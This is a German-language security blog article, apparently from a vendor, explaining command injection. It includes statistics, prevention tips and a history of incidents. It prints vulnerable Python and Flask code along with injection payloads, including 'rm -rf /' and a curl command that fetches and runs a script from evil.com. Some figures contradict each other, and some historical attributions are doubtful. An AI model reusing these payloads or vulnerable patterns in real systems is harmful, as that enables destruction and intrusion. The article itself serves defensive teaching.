Command Injection 2024 entschlüsselt

Was ist Command Injection?

Command Injection ist eine Schwachstelle, die in Webanwendungen immer noch sehr verbreitet ist, obwohl sie weniger bekannt ist als ihre Verwandten SQL Injection oder Code Injection. Wenn Sie mit anderen Injection-Schwachstellen vertraut sind, werden Sie das gemeinsame Prinzip erkennen: nicht vertrauenswürdige Benutzereingaben werden nicht ordnungsgemäß validiert, was zur Ausführung beliebiger Systembefehle führt. Dieser Fehler tritt auf, wenn unvalidierte Eingaben an Systemfunktionen übergeben werden. Wie prominent ist Command Injection also tatsächlich? Wir haben untersucht, wie häufig diese Schwachstelle in der Praxis auftritt – *Spoiler*: Sie ist überraschend häufig!

Beispiel für Command Injection

Betrachten Sie dieses Beispiel einer Command Injection: Nehmen wir an, Sie haben eine Anwendung, in der Sie den Namen einer auf einem Server gehosteten Datei eingeben können. Die Anwendung ruft diese Datei ab und gibt deren Inhalt aus. Der entsprechende Code ist unten aufgeführt.

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

Der obige Code erwartet, dass ein Benutzer einen Dateinamen wie file.txt , sondern stattdessen injiziert ein bösartiger Benutzer Code, um schädliche Befehle auszuführen.

Zum Beispiel
Dateiname: file.txt; rm -rf \/

Diese Eingabe würde zuerst den Inhalt von anzeigen file.txt und dann die bösartige rm -rf Befehl, der alle Dateien in einem Verzeichnis zwangsweise löscht.

Der bösartige Benutzer kann dies tun, weil die Anwendung die Benutzereingabe nicht validiert oder bereinigt hat, wodurch die Anwendung anfällig für Command Injection ist.

Wenn Sie ein umfassenderes Beispiel wünschen, finden Sie den Bonusinhalt am Ende dieser Seite.

Command Injection in Zahlen: Unsere Untersuchung

• 7 % aller im Jahr 2024 in Open-Source-Projekten gefundenen Schwachstellen waren Command Injections
• 5,8 % für Closed-Source-Projekte!
• Ein Anstieg der Gesamtzahl der Command-Injection-Schwachstellen in Open-Source-Projekten von 2.348 (2023) auf voraussichtlich 2.600 (2024).
• Als Prozentsatz aller Schwachstellen wird Command Injection weniger populär: ein Rückgang um 14,6 % bzw. 26,4 % bei Open-Source- bzw. Closed-Source-Projekten von 2023 bis 2024.

Unsere Forschung konzentrierte sich auf die Untersuchung sowohl von Open-Source- als auch von Closed-Source-Projekten, um aufzudecken, wie viele davon Command Injection-Schwachstellen in sich verbargen.

Insgesamt ist die Anzahl der Command-Injection-Schwachstellen sehr hoch: 7 % aller in Open-Source-Projekten gemeldeten Schwachstellen sind Command-Injections und 5,8 % in Closed-Source-Projekten. Dies liegt recht nahe an der Anzahl der gefundenen SQL-Injection-Schwachstellen.

Es gibt auch gute Nachrichten aus den Daten: Wir sehen einen soliden Trend, dass diese Schwachstellen von 2023 bis 2024 zurückgehen. Als Prozentsatz aller Schwachstellen verzeichneten wir eine Reduzierung um 27 % bei Closed-Source-Projekten und um 14 % bei Open-Source-Projekten. Wahrscheinlich tragen viele Faktoren dazu bei; ein wahrscheinlich signifikanter Faktor ist, dass das FBI und die CISA im Jahr 2024 Command Injection als echte Bedrohung bezeichneten und Anbieter dringend aufforderten, darauf zu achten. Den Daten zufolge wurde diese Warnung gehört.

Die guten Nachrichten enden leider hier. Wir sehen weiterhin einen Anstieg der Gesamtzahl der gemeldeten Schwachstellen in Open-Source-Projekten. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Injection-Schwachstellen stieg von 2.348 im Jahr 2023 auf bisher 2.450 im Jahr 2024 (erwartet werden 2.600).

Wie man Command Injection verhindert

Die Verhinderung von Command-Injection-Schwachstellen erfordert einen vielschichtigen Ansatz:

Serverseitige Eingabevalidierung

Ein häufiger Fehler besteht darin, nur clientseitige Validierung durchzuführen, die von einem Angreifer durch eine direkte Anfrage umgangen werden kann.

import subprocess

# Beispiel für eingeschränkte Eingabe
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Dies sollte vom Benutzer kommen, wird aber validiert

if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Ungültige Eingabe!")

Vermeiden Sie Shell-Befehle

Ersetzen Sie Shell-Befehle, wo möglich, durch sprachnative Funktionen oder Bibliotheken. Unten sehen Sie ein Beispiel für die Verwendung des Nur-Lese-Modus, um eine Datei zu öffnen und deren Inhalte zu lesen.

with open("file.txt", "r") as f:
print(f.read())

Automatisiertes Testing

Verwenden Sie Tools wie Aikido Ihren Quellcode und Ihre Anwendung zu scannen und diese Schwachstellen zu entdecken.

Verwenden Sie eine In-App-Firewall

Eine der besten Abwehrmaßnahmen gegen Injection-Angriffe ist eine In-App-Firewall, die bösartige Befehle erkennen und blockieren kann. Aikidos In-App-Firewall Zen ist als Open-Source- und kommerzielle Version verfügbar und kann Injection-Angriffe zur Laufzeit erkennen und blockieren.

Das Prinzip der geringsten Rechte anwenden

Konfigurieren Sie Anwendungen und Benutzer so, dass sie mit den minimal notwendigen Berechtigungen ausgeführt werden, um potenzielle Schäden durch Exploits zu reduzieren.

Der Weg nach vorn

Command Injection ist zusammen mit vielen anderen Injection-Schwachstellen eine Herausforderung. Aus technologischer Sicht haben wir dies gelöst, was bedeutet, dass diese Art von Schwachstelle in Ihren Anwendungen nicht mehr auftreten muss. Angesichts dessen, dass wir immer noch so viele dieser Schwachstellen sehen, können wir keinen Quantensprung an Verbesserung erwarten.

Command Injection wird weiterhin ein Problem bleiben, da wir jedoch in diesem Jahr einen signifikanten Rückgang verzeichneten, weil große Organisationen einen Fokus auf diese Schwachstelle legten, besteht die Hoffnung, dass Command Injection in Zukunft weniger prominent werden könnte, wenn wir weiterhin das Bewusstsein dafür schärfen.

Bonus-Inhalt

Eine Geschichte der Command Injection: Bekannte Sicherheitsverletzungen

Command Injection ist seit langem eine persistente Bedrohung. Tatsächlich gab es eine signifikante Command Injection-Schwachstelle, die von 1989 bis 2014 in Bash vorhanden war. Jüngst im Jahr 2024 wurde die Bedeutung von Command Injection von der CISA und dem FBI hervorgehoben, was zeigt, dass sie immer noch ein großes Problem darstellt.

1. Anfänge der Command Injection

• Erste bekannte Nutzung: Command-Injection-Schwachstellen traten mit dem Aufkommen von Mehrbenutzer-Computersystemen in den 1970er und 1980er Jahren auf, die es Angreifern ermöglichten, beliebige Befehle über unsanierte Eingaben auszuführen.
• 1980er und 1990er Jahre: Die Verbreitung von Web-Technologien führte zu einer verstärkten Ausnutzung von Command Injection, insbesondere durch unsachgemäß gesicherte CGI-Skripte.

2. Bedeutende Sicherheitsverletzungen und Exploits

• 1998: Der erste dokumentierte webbasierte Command Injection Angriff: Eine Schwachstelle in einem weit verbreiteten Perl-basierten CGI-Skript wurde ausgenutzt, was einen der ersten großen webbasierten Command Injection Vorfälle markierte.
• 2010: Stuxnet-Wurm (Embedded Command Injection): Stuxnet nutzte Command Injection, um industrielle Steuerungssysteme anzugreifen, was die Reichweite der Schwachstelle über traditionelle IT-Umgebungen hinaus demonstrierte.

3. 2010er Jahre: Ausnutzung in großem Maßstab

• 2014: Shellshock-Schwachstelle: Shellshock (CVE-2014-6271) nutzte die Befehlsverarbeitung von Bash aus und betraf Millionen von Systemen weltweit.
• 2018: Cisco ASA VPN Exploit (CVE-2018-0101): Eine Command Injection Schwachstelle in Ciscos ASA-Software ermöglichte die Remote-Code-Ausführung und kompromittierte die Unternehmenssicherheit.

4. 2020er Jahre: Moderne Exploits und Trends

• 2020: Citrix ADC Gateway Exploit: Angreifer nutzten Command Injection Schwachstellen in Citrix-Systemen aus, was zu erheblichen Datenlecks führte.
• 2023: MOVEit-Schwachstelle (SQL und Command Injection): Eine Command Injection Schwachstelle in der MOVEit Transfer Software führte zu weitreichenden Datenlecks in zahlreichen Organisationen.

Realistische Command-Injection-Schwachstelle

Der anfällige Code

Betrachten wir ein etwas komplexeres Beispiel für Command Injection. Unten ist Code für eine einfache Python-Webanwendung. Sie ermöglicht es Benutzern, ein ZIP-Archiv von angegebenen Dateien zu erstellen, indem sie eine POST-Anfrage an die /archive Route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

So funktioniert’s

Der Nutzer liefert:

• Dateien (z. B., file1.txt file2.txt) um festzulegen, welche Dateien im Archiv enthalten sein sollen.
• archive_name um den Namen des resultierenden Zip-Archivs anzugeben.

Der Code konstruiert dynamisch einen Shell-Befehl:

1. zip archive_name.zip file1.txt file2.txt

2. Der os.system() Die Funktion führt den Befehl aus, wodurch die vom Benutzer bereitgestellten Eingaben ihr Verhalten bestimmen können.

Ausnutzung

Ein Angreifer nutzt dies aus, indem er zusätzliche Befehle in die archive_name oder Dateien Eingaben.

Vom Angreifer bereitgestellte Eingabe:

• archive_name: my_archive; rm -rf /
• Dateien: file1.txt

Der resultierende Befehl:

zip my_archive.zip file1.txt; rm -rf /

1. zip my_archive.zip file1.txt: Erstellt ein Archiv wie erwartet.
2. ; rm -rf /: Löscht alle Dateien auf dem Server durch Ausführen eines separaten destruktiven Befehls.

Ein komplexeres Beispiel

Der Angreifer könnte dies ausnutzen, um Malware herunterzuladen oder Daten zu exfiltrieren:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resultierender Befehl:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Dieser Befehl:

1. Erstellt ein Archiv (zip archive.zip file1.txt).
2. Lädt bösartigen Code herunter (curl -o malware.sh http://evil.com/malware.sh).
3. Führt die Malware aus (bash malware.sh).